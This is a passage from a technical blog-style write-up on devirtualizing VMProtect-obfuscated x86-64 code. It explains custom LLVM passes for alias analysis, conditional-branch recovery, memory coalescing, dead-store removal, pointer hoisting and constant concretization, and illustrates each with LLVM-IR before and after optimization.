If the pointer type cannot be reliably detected, an unknown type (identified as TyUNK in the code) is being used, and the comparison between the pointers is automatically skipped. If the pass cannot return a NoAlias result, the query is passed back to the default alias analysis pipeline.

One could argue that the pass is not really needed, as it is unlikely that the propagation of the sensitive information we need to successfully explore the virtualized CFG is hindered by aliasing issues. In fact, the computation of a conditional branch at the end of a VmBlock is guaranteed not to be hindered by a symbolic memory store happening before the jump VmHandler accesses the branch destination. But there are some cases where VMProtect pushes the address of the next VmStub in one of the first VmBlocks, doing memory stores in between and accessing the pushed value only in one or more VmExits. That could be a case where discerning between a local stack slot and an indirect access enables the propagation of the pushed address.

Irregardless of the aforementioned issue, that can be solved with some ad-hoc store-to-load detection logic, playing around with the alias analysis information that can be fed to LLVM could make the devirtualized code more readable. We have to keep in mind that there may be edge cases where the original code is breaking our assumptions, so having at least a vague idea of the involved pointers accessed at runtime could give us more confidence or force us to err on the safe side, relying solely on the built-in LLVM alias analysis passes.

The assembly snippet shown below has been devirtualized with and without adding the SegmentsAA pass to the pipeline. If we are sure that at runtime, before the push rax instruction, rcx doesn’t contain the value rsp - 8 (extremely unexpected on benign code), we can safely enable the SegmentsAA pass and obtain a cleaner output.

start:
  push rax
  mov qword ptr [rsp], 1
  mov qword ptr [rcx], 2
  pop rax

The assembly code writing to two possibly aliasing memory slots

define dso_local i64 @F_0x14000101f(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) #2 {
  %1 = load i64, i64* %rcx, align 8, !alias.scope !22, !noalias !27
  %2 = inttoptr i64 %1 to i64*
  store i64 2, i64* %2, align 1, !noalias !65
  store i64 1, i64* %rax, align 8, !tbaa !4, !alias.scope !66, !noalias !67
  ret i64 5368713278
}

The devirtualized code with the SegmentsAA pass added to the pipeline, with the assumption that rcx differs from rsp - 8

define dso_local i64 @F_0x14000101f(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) #2 {
  %1 = load i64, i64* %rsp, align 8, !tbaa !4, !alias.scope !22, !noalias !27
  %2 = add i64 %1, -8
  %3 = load i64, i64* %rcx, align 8, !alias.scope !65, !noalias !66
  %4 = inttoptr i64 %2 to i64*
  store i64 1, i64* %4, align 1, !noalias !67
  %5 = inttoptr i64 %3 to i64*
  store i64 2, i64* %5, align 1, !noalias !67
  %6 = load i64, i64* %4, align 1, !noalias !67
  store i64 %6, i64* %rax, align 8, !tbaa !4, !alias.scope !68, !noalias !69
  ret i64 5368713278
}

The devirtualized code without the SegmentsAA pass added to the pipeline and therefore no assumptions fed to LLVM

Alias analysis is a complex topic, and experience thought me that most of the propagation issues happening while using LLVM to deobfuscate some code are related to the LLVM’s alias analysis passes being hinder by some pointer computation. Therefore, having the capability to feed LLVM with context-aware information could be the only way to handle certain types of obfuscation. Beware that other tools you are used to are most likely doing similar “safe” assumptions under the hood (e.g. concolic execution tools using the concrete pointer to answer the aliasing queries).

The takeaway from this section is that, if needed, you can define your own alias analysis callback pass to be integrated in the optimization pipeline in such a way that pre-existing passes can make use of the refined aliasing query results. This is similar to updating IDA’s stack variables with proper type definitions to improve the propagation results.

KnownIndexSelect

This pass falls under the category of the VMProtect specific optimization problems. In fact, whoever looked into VMProtect 3.0.9 knows that the following trick, reimplemented as high level C code for simplicity, is being internally used to select between two branches of a conditional jump.

uint64_t ConditionalBranchLogic(uint64_t RFLAGS) {
  // Extracting the ZF flag bit
  uint64_t ConditionBit = (RFLAGS & 0x40) >> 6;
  // Writing the jump destinations
  uint64_t Stack[2] = { 0 };
  Stack[0] = 5369966919;
  Stack[1] = 5369966790;
  // Selecting the correct jump destination
  return Stack[ConditionBit];
}

What is really happening at the low level is that the branch destinations are written to adjacent stack slots and then a conditional load, controlled by the previously computed flags, is going to select between one slot or the other to fetch the right jump destination.

LLVM doesn’t automatically see through the conditional load, but it is providing us with all the needed information to write such an optimization ourselves. In fact, the ValueTracking analysis exposes the computeKnownBits function that we can use to determine if the index used in a getelementptr instruction is bound to have just two values.

At this point we can generate two separated load instructions accessing the stack slots with the inferred indices and feed them to a select instruction controlled by the index itself. At the next store-to-load propagation, LLVM will happily identify the matching store and load instructions, propagating the constants representing the conditional branch destinations and generating a nice select instruction with second and third constant operands.

; Matched pattern
%i0 = add i64 %base, %index
%i1 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %i0
%i2 = bitcast i8* %i1 to i64*
%i3 = load i64, i64* %i2, align 1

; Exploded form
%51 = add i64 %base, 0
%52 = add i64 %base, 8
%53 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
%54 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %52
%55 = bitcast i8* %53 to i64*
%56 = bitcast i8* %54 to i64*
%57 = load i64, i64* %55, align 8
%58 = load i64, i64* %56, align 8
%59 = icmp eq i64 %index, 0
%60 = select i1 %59, i64 %57, i64 %58

; Simplified select instruction
%59 = icmp eq i64 %index, 0
%60 = select i1 %59, i64 5369966919, i64 5369966790

The snippet above shows the matched pattern, its exploded form suitable for the LLVM propagation and its final optimized shape. In this case the ValueTracking analysis provided the values 0 and 8 as the only feasible ones for the %index value.

A brief discussion about this pass can be found in this chain of messages in the LLVM mailing list.

SynthesizeFlags

This pass falls in between the categories of the VMProtect specific optimization problems and LLVM optimization limitations. In fact, this pass is based on the enumerative synthesis logic implemented by Souper, with some minor tweaks to make it more performant for our use-case.

This pass exists because I’m lazy and the fewer ad-hoc patterns I write, the happier I am. The patterns we are talking about are the ones generated by the flag manipulations that VMProtect does when computing the condition for a conditional branch. LLVM already does a good job with simplifying part of the patterns, but to obtain mint-like results we absolutely need to help it a bit.

There’s not much to say about this pass, it is basically invoking Souper’s enumerative synthesis with a selected set of components (Inst::CtPop, Inst::Eq, Inst::Ne, Inst::Ult, Inst::Slt, Inst::Ule, Inst::Sle, Inst::SAddO, Inst::UAddO, Inst::SSubO, Inst::USubO, Inst::SMulO, Inst::UMulO), requiring the synthesis of a single instruction, enabling the data-flow pruning option and bounding the LHS candidates to a maximum of 50. Additionally the pass is executing the synthesis only on the i1 conditions used by the select and br instructions.

This Godbolt page shows the devirtualized LLVM-IR output obtained appending the SynthesizeFlags pass to the pipeline and the resulting assembly with the properly recompiled conditional jumps. The original assembly code can be seen below. It’s a dummy sequence of instructions where the key piece is the comparison between the rax and rbx registers that drives the conditional branch jcc.

start:
  cmp rax, rbx
  jcc label
  and rcx, rdx
  mov qword ptr ds:[rcx], 1
  jmp exit
label:
  xor rcx, rdx
  add qword ptr ds:[rcx], 2
exit:

MemoryCoalescing

This pass falls under the category of the generic LLVM optimization passes that couldn’t possibly be included in the mainline framework because they wouldn’t match the quality criteria of a stable pass. Although the transformations done by this pass are applicable to generic LLVM-IR code, even if the handled cases are most likely to be found in obfuscated code.

Passes like DSE already attempt to handle the case where a store instruction is partially or completely overlapping with other store instructions. Although the more convoluted case of multiple stores contributing to the value of a single memory slot are somehow only partially handled.

This pass is focusing on the handling of the case illustrated in the following snippet, where multiple smaller stores contribute to the creation of a bigger value subsequently accessed by a single load instruction.

define dso_local i64 @WhatDidYouDoToMySonYouEvilMonster(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
  %1 = load i64, i64* %rsp, align 8
  %2 = add i64 %1, -8
  %3 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %2
  %4 = add i64 %1, -16
  %5 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %4
  %6 = load i64, i64* %rax, align 8
  %7 = add i64 %1, -10
  %8 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %7
  %9 = bitcast i8* %8 to i64*
  store i64 %6, i64* %9, align 1
  %10 = bitcast i8* %8 to i32*
  %11 = trunc i64 %6 to i32
  %12 = add i64 %1, -6
  %13 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %12
  %14 = bitcast i8* %13 to i32*
  store i32 %11, i32* %14, align 1
  %15 = bitcast i8* %13 to i16*
  %16 = trunc i64 %6 to i16
  %17 = add i64 %1, -4
  %18 = add i64 %1, -12
  %19 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %18
  %20 = bitcast i8* %19 to i64*
  %21 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %17
  %22 = bitcast i8* %21 to i16*
  %23 = load i16, i16* %22, align 1
  store i16 %23, i16* %15, align 1
  %24 = load i32, i32* %14, align 1
  %25 = shl i32 %24, 8
  %26 = bitcast i8* %21 to i32*
  store i32 %25, i32* %26, align 1
  %27 = bitcast i8* %3 to i16*
  store i16 %16, i16* %27, align 1
  %28 = bitcast i8* %8 to i16*
  store i16 %16, i16* %28, align 1
  %29 = load i32, i32* %10, align 1
  %30 = shl i32 %29, 8
  %31 = bitcast i8* %3 to i32*
  store i32 %30, i32* %31, align 1
  %32 = add i64 %1, -14
  %33 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %32
  %34 = add i64 %1, -2
  %35 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %34
  %36 = bitcast i8* %35 to i16*
  %37 = load i16, i16* %36, align 1
  store i16 %37, i16* %27, align 1
  %38 = add i64 %1, -18
  %39 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %38
  %40 = bitcast i8* %39 to i64*
  store i64 %6, i64* %40, align 1
  %41 = bitcast i8* %39 to i32*
  %42 = bitcast i8* %33 to i16*
  %43 = load i16, i16* %42, align 1
  %44 = bitcast i8* %19 to i16*
  %45 = load i16, i16* %44, align 1
  store i16 %45, i16* %42, align 1
  %46 = bitcast i8* %33 to i32*
  %47 = load i32, i32* %46, align 1
  %48 = shl i32 %47, 8
  %49 = bitcast i8* %19 to i32*
  store i32 %48, i32* %49, align 1
  %50 = bitcast i8* %5 to i16*
  store i16 %43, i16* %50, align 1
  %51 = bitcast i8* %39 to i16*
  store i16 %43, i16* %51, align 1
  %52 = load i32, i32* %41, align 1
  %53 = shl i32 %52, 8
  %54 = bitcast i8* %5 to i32*
  store i32 %53, i32* %54, align 1
  %55 = load i16, i16* %28, align 1
  store i16 %55, i16* %50, align 1
  %56 = load i32, i32* %54, align 1
  store i32 %56, i32* %49, align 1
  %57 = load i64, i64* %20, align 1
  store i64 %57, i64* %rax, align 8
  ret i64 5368713262
}

Now, you can arm yourself with patience and manually match all the store and load operations, or you can trust me when I tell you that all of them are concurring to the creation of a single i64 value that will be finally saved in the rax register.

The pass is working at the intra-block level and it’s relying on the analysis results provided by the MemorySSA, ScalarEvolution and AAResults interfaces to backward walk the definition chains concurring to the creation of the value fetched by each load instruction in the block. Doing that, it is filling a structure which keeps track of the aliasing store instructions, the stored values, and the offsets and sizes overlapping with the memory slot fetched by each load. If a sequence of store assignments completely defining the value of the whole memory slot is found, the chain is processed to remove the store-to-load indirection. Subsequent passes may then rely on this new indirection-free chain to apply more transformations. As an example the previous LLVM-IR snippet turns in the following optimized LLVM-IR snippet when the MemoryCoalescing pass is applied before executing the InstCombine pass. Nice huh?

define dso_local i64 @ThanksToLLVMMySonBswap64IsBack(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
  %1 = load i64, i64* %rax, align 8
  %2 = call i64 @llvm.bswap.i64(i64 %1)
  store i64 %2, i64* %rax, align 8
  ret i64 5368713262
}

PartialOverlapDSE

This pass also falls under the category of the generic LLVM optimization passes that couldn’t possibly be included in the mainline framework because they wouldn’t match the quality criteria of a stable pass. Although the transformations done by this pass are applicable to generic LLVM-IR code, even if the handled cases are most likely to be found in obfuscated code.

Conceptually similar to the MemoryCoalescing pass, the goal of this pass is to sweep a function to identify chains of store instructions that post-dominate a single store instruction and kill its value before it is actually being fetched. Passes like DSE are doing a similar job, although limited to some forms of full overlapping caused by multiple stores on a single post-dominated store.

Applying the -O3 pipeline to the following example won’t remove the first 64 bits dead store at RAM[%0], even if the subsequent 64 bits stores at RAM[%0 - 4] and RAM[%0 + 4] fully overlap it, redefining its value.

define dso_local void @DSE(i64 %0) local_unnamed_addr #0 {
  %2 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %0
  %3 = bitcast i8* %2 to i64*
  store i64 1234605616436508552, i64* %3, align 1
  %4 = add i64 %0, -4
  %5 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %4
  %6 = bitcast i8* %5 to i64*
  store i64 -6148858396813837381, i64* %6, align 1
  %7 = add i64 %0, 4
  %8 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %7
  %9 = bitcast i8* %8 to i64*
  store i64 -3689348814455574802, i64* %9, align 1
  ret void
}

Adding the PartialOverlapDSE pass to the pipeline will identify and kill the first store, enabling other passes to eventually kill the chain of computations contributing to the stored value. The built-in DSE pass is most likely not executing such a kill because collecting information about multiple overlapping stores is an expensive operation.

PointersHoisting

This pass is strictly related to the IsGuaranteedLoopInvariant patch I submitted, in fact it is just identifying all the pointers that could be safely hoisted to the entry block because depending solely on values coming directly from the entry block. Applying this kind of transformation prior to the execution of the DSE pass may lead to better optimization results.

As an example, consider this devirtualized function containing a rather useless switch case. I’m saying rather useless because each store in the case blocks is post-dominated and killed by the store i32 22, i32* %85 instruction, but LLVM is not going to kill those stores until we move the pointer computation to the entry block.

define dso_local i64 @F_0x1400045b0(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
  %1 = load i64, i64* %rsp, align 8
  %2 = load i64, i64* %rcx, align 8
  %3 = call { i32, i32, i32, i32 } asm "  xchgq  %rbx,${1:q}\0A  cpuid\0A  xchgq  %rbx,${1:q}", "={ax},=r,={cx},={dx},0,~{dirflag},~{fpsr},~{flags}"(i32 1)
  %4 = extractvalue { i32, i32, i32, i32 } %3, 0
  %5 = extractvalue { i32, i32, i32, i32 } %3, 1
  %6 = and i32 %4, 4080
  %7 = icmp eq i32 %6, 4064
  %8 = xor i32 %4, 32
  %9 = select i1 %7, i32 %8, i32 %4
  %10 = and i32 %5, 16777215
  %11 = add i32 %9, %10
  %12 = load i64, i64* bitcast (i8* getelementptr inbounds ([0 x i8], [0 x i8]* @GS, i64 0, i64 96) to i64*), align 1
  %13 = add i64 %12, 288
  %14 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %13
  %15 = bitcast i8* %14 to i16*
  %16 = load i16, i16* %15, align 1
  %17 = zext i16 %16 to i32
  %18 = load i64, i64* bitcast (i8* getelementptr inbounds ([0 x i8], [0 x i8]* @RAM, i64 0, i64 5369231568) to i64*), align 1
  %19 = shl nuw nsw i32 %17, 7
  %20 = add i64 %18, 32
  %21 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %20
  %22 = bitcast i8* %21 to i32*
  %23 = load i32, i32* %22, align 1
  %24 = xor i32 %23, 2480
  %25 = add i32 %11, %19
  %26 = trunc i64 %18 to i32
  %27 = add i64 %18, 88
  %28 = xor i32 %25, %26
  br label %29

29:                                               ; preds = %37, %0
  %30 = phi i64 [ %27, %0 ], [ %38, %37 ]
  %31 = phi i32 [ %24, %0 ], [ %39, %37 ]
  %32 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %30
  %33 = bitcast i8* %32 to i32*
  %34 = load i32, i32* %33, align 1
  %35 = xor i32 %34, 30826
  %36 = icmp eq i32 %28, %35
  br i1 %36, label %41, label %37

37:                                               ; preds = %29
  %38 = add i64 %30, 8
  %39 = add i32 %31, -1
  %40 = icmp eq i32 %31, 1
  br i1 %40, label %86, label %29

41:                                               ; preds = %29
  %42 = add i64 %1, 40
  %43 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %42
  %44 = bitcast i8* %43 to i32*
  %45 = load i32, i32* %44, align 1
  %46 = add i64 %1, 36
  %47 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %46
  %48 = bitcast i8* %47 to i32*
  store i32 %45, i32* %48, align 1
  %49 = icmp ugt i32 %45, 5
  %50 = zext i32 %45 to i64
  %51 = add i64 %1, 32
  br i1 %49, label %81, label %52

52:                                               ; preds = %41
  %53 = shl nuw nsw i64 %50, 1
  %54 = and i64 %53, 4294967296
  %55 = sub nsw i64 %50, %54
  %56 = shl nsw i64 %55, 2
  %57 = add nsw i64 %56, 5368964976
  %58 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %57
  %59 = bitcast i8* %58 to i32*
  %60 = load i32, i32* %59, align 1
  %61 = zext i32 %60 to i64
  %62 = add nuw nsw i64 %61, 5368709120
  switch i32 %60, label %66 [
    i32 1465288, label %63
    i32 1510355, label %78
    i32 1706770, label %75
    i32 2442748, label %72
    i32 2740242, label %69
  ]

63:                                               ; preds = %52
  %64 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
  %65 = bitcast i8* %64 to i32*
  store i32 9, i32* %65, align 1
  br label %66

66:                                               ; preds = %52, %63
  %67 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
  %68 = bitcast i8* %67 to i32*
  store i32 20, i32* %68, align 1
  br label %69

69:                                               ; preds = %52, %66
  %70 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
  %71 = bitcast i8* %70 to i32*
  store i32 30, i32* %71, align 1
  br label %72

72:                                               ; preds = %52, %69
  %73 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
  %74 = bitcast i8* %73 to i32*
  store i32 55, i32* %74, align 1
  br label %75

75:                                               ; preds = %52, %72
  %76 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
  %77 = bitcast i8* %76 to i32*
  store i32 99, i32* %77, align 1
  br label %78

78:                                               ; preds = %52, %75
  %79 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
  %80 = bitcast i8* %79 to i32*
  store i32 100, i32* %80, align 1
  br label %81

81:                                               ; preds = %41, %78
  %82 = phi i64 [ %62, %78 ], [ %50, %41 ]
  %83 = phi i64 [ 5368709120, %78 ], [ %2, %41 ]
  %84 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %51
  %85 = bitcast i8* %84 to i32*
  store i32 22, i32* %85, align 1
  store i64 %83, i64* %rcx, align 8
  br label %86

86:                                               ; preds = %37, %81
  %87 = phi i64 [ %82, %81 ], [ 3735929054, %37 ]
  %88 = phi i64 [ 5368727067, %81 ], [ 0, %37 ]
  store i64 %87, i64* %rax, align 8
  ret i64 %88
}

When the PointersHoisting pass is applied before executing the DSE pass we obtain the following code, where the switch case has been completely removed because it has been deemed dead.

define dso_local i64 @F_0x1400045b0(i64* noalias nocapture nonnull align 8 dereferenceable(8) %0, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %1, i64* noalias nocapture nonnull align 8 dereferenceable(8) %2, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %3, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %4, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %5, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %6, i64* noalias nocapture nonnull readonly align 8 dereferenceable(8) %7, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %8, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %9, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %10, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %11, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %12, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %13, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %14, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %15, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %16, i64 %17, i64 %18, i64 %19) local_unnamed_addr {
  %21 = load i64, i64* %7, align 8
  %22 = load i64, i64* %2, align 8
  %23 = tail call { i32, i32, i32, i32 } asm "  xchgq  %rbx,${1:q}\0A  cpuid\0A  xchgq  %rbx,${1:q}", "={ax},=r,={cx},={dx},0,~{dirflag},~{fpsr},~{flags}"(i32 1)
  %24 = extractvalue { i32, i32, i32, i32 } %23, 0
  %25 = extractvalue { i32, i32, i32, i32 } %23, 1
  %26 = and i32 %24, 4080
  %27 = icmp eq i32 %26, 4064
  %28 = xor i32 %24, 32
  %29 = select i1 %27, i32 %28, i32 %24
  %30 = and i32 %25, 16777215
  %31 = add i32 %29, %30
  %32 = load i64, i64* bitcast (i8* getelementptr inbounds ([0 x i8], [0 x i8]* @GS, i64 0, i64 96) to i64*), align 1
  %33 = add i64 %32, 288
  %34 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %33
  %35 = bitcast i8* %34 to i16*
  %36 = load i16, i16* %35, align 1
  %37 = zext i16 %36 to i32
  %38 = load i64, i64* bitcast (i8* getelementptr inbounds ([0 x i8], [0 x i8]* @RAM, i64 0, i64 5369231568) to i64*), align 1
  %39 = shl nuw nsw i32 %37, 7
  %40 = add i64 %38, 32
  %41 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %40
  %42 = bitcast i8* %41 to i32*
  %43 = load i32, i32* %42, align 1
  %44 = xor i32 %43, 2480
  %45 = add i32 %31, %39
  %46 = trunc i64 %38 to i32
  %47 = add i64 %38, 88
  %48 = xor i32 %45, %46
  %49 = add i64 %21, 32
  %50 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %49
  br label %51

  %52 = phi i64 [ %47, %20 ], [ %60, %59 ]
  %53 = phi i32 [ %44, %20 ], [ %61, %59 ]
  %54 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %52
  %55 = bitcast i8* %54 to i32*
  %56 = load i32, i32* %55, align 1
  %57 = xor i32 %56, 30826
  %58 = icmp eq i32 %48, %57
  br i1 %58, label %63, label %59

  %60 = add i64 %52, 8
  %61 = add i32 %53, -1
  %62 = icmp eq i32 %53, 1
  br i1 %62, label %88, label %51

  %64 = add i64 %21, 40
  %65 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %64
  %66 = bitcast i8* %65 to i32*
  %67 = load i32, i32* %66, align 1
  %68 = add i64 %21, 36
  %69 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %68
  %70 = bitcast i8* %69 to i32*
  store i32 %67, i32* %70, align 1
  %71 = icmp ugt i32 %67, 5
  %72 = zext i32 %67 to i64
  br i1 %71, label %84, label %73

  %74 = shl nuw nsw i64 %72, 1
  %75 = and i64 %74, 4294967296
  %76 = sub nsw i64 %72, %75
  %77 = shl nsw i64 %76, 2
  %78 = add nsw i64 %77, 5368964976
  %79 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %78
  %80 = bitcast i8* %79 to i32*
  %81 = load i32, i32* %80, align 1
  %82 = zext i32 %81 to i64
  %83 = add nuw nsw i64 %82, 5368709120
  br label %84

  %85 = phi i64 [ %83, %73 ], [ %72, %63 ]
  %86 = phi i64 [ 5368709120, %73 ], [ %22, %63 ]
  %87 = bitcast i8* %50 to i32*
  store i32 22, i32* %87, align 1
  store i64 %86, i64* %2, align 8
  br label %88

  %89 = phi i64 [ %85, %84 ], [ 3735929054, %59 ]
  %90 = phi i64 [ 5368727067, %84 ], [ 0, %59 ]
  store i64 %89, i64* %0, align 8
  ret i64 %90
}

ConstantConcretization

This pass falls under the category of the generic LLVM optimization passes that are useful when dealing with obfuscated code, but basically useless, at least in the current shape, in a standard compilation pipeline. In fact, it’s not uncommon to find obfuscated code relying on constants stored in data sections added during the protection phase.

As an example, on some versions of VMProtect, when the Ultra mode is used, the conditional branch computations involve dummy constants fetched from a data section. Or if we think about a virtualized jump table (e.g. generated by a switch in the original binary), we also have to deal with a set of constants fetched from a data section.

Hence the reason for having a custom pass that, during the execution of the pipeline, identifies potential constant data accesses and converts the associated memory load into an LLVM constant (or chain of constants). This process can be referred to as constant(s) concretization.

The pass is going to identify all the load memory accesses in the function and determine if they fall in the following categories:

  • A constantexpr memory load that is using an address contained in one of the binary sections; this case is what you would hit when dealing with some kind of data-based obfuscation;
  • A symbolic memory load that is using as base an address contained in one of the binary sections and as index an expression that is constrained to a limited amount of values; this case is what you would hit when dealing with a jump table.

In both cases the user needs to provide a safe set of memory ranges that the pass can consider as read-only, otherwise the pass will restrict the concretization to addresses falling in read-only sections in the binary.

In the first case, the address is directly available and the associated value can be resolved simply parsing the binary.

In the second case the expression computing the symbolic memory access is sliced, the constraint(s) coming from the predecessor block(s) are harvested and Souper is queried in an incremental way (conceptually similar to the one used while solving the outgoing edges in a VmBlock) to obtain the set of addresses accessing the binary. Each address is then verified to be really laying in a binary section and the corresponding value is fetched. At this point we have a unique mapping between each address and its value, that we can turn into a selection cascade, illustrated in the following LLVM-IR snippet:

; Fetching the switch control value from [rsp + 40]
%2 = add i64 %rsp, 40
%3 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %2
